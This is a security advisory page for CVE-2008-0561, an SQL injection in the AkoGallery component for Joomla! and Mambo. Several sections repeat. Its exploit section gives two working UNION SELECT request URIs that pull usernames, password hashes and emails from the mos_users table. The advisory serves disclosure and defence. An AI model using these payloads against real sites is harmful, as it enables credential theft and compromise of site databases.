Joomla! and Mambo AkoGallery Component 'id' Parameter SQL Injection Vulnerability
BID:27557
Info
Joomla! and Mambo AkoGallery Component 'id' Parameter SQL Injection Vulnerability
| Bugtraq ID: | 27557 |
| Class: | Input Validation Error |
| CVE: |
CVE-2008-0561 |
| Remote: | Yes |
| Local: | No |
| Published: | Jan 31 2008 12:00AM |
| Updated: | May 07 2015 05:33PM |
| Credit: | S@BUN is credited with the discovery of this vulnerability. |
| Vulnerable: |
Arthur Konze AkoGallery 2.5 beta |
| Not Vulnerable: | |
Discussion
Joomla! and Mambo AkoGallery Component 'id' Parameter SQL Injection Vulnerability
The AkoGallery component for Joomla! and Mambo is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
The AkoGallery component for Joomla! and Mambo is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
Exploit / POC
Joomla! and Mambo AkoGallery Component 'id' Parameter SQL Injection Vulnerability
Attackers can use a browser to exploit this issue.
The following example URI is available:
http://www.example.com/index.php?option=com_akogallery&Itemid=S@BUN&func=detail&id=-334455/**/union/**/select/**/null,null,concat(password,0x3a),null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,concat(0x3a,username)/**/from/**/mos_users/*
http://www.example.com/index.php?option=com_akogallery&Itemid=91&func=detailgallerie&id=-10+UNION SELECT 1,2,concat(username,0x3a,password,0x3a,email),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34+from+mos_users
Attackers can use a browser to exploit this issue.
The following example URI is available:
http://www.example.com/index.php?option=com_akogallery&Itemid=S@BUN&func=detail&id=-334455/**/union/**/select/**/null,null,concat(password,0x3a),null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,concat(0x3a,username)/**/from/**/mos_users/*
http://www.example.com/index.php?option=com_akogallery&Itemid=91&func=detailgallerie&id=-10+UNION SELECT 1,2,concat(username,0x3a,password,0x3a,email),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34+from+mos_users
Solution / Fix
Joomla! and Mambo AkoGallery Component 'id' Parameter SQL Injection Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
References
Joomla! and Mambo AkoGallery Component 'id' Parameter SQL Injection Vulnerability
References:
References:
- Arthur Konze Homepage (Arthur Konze)
- Mambo Homepage (Mambo)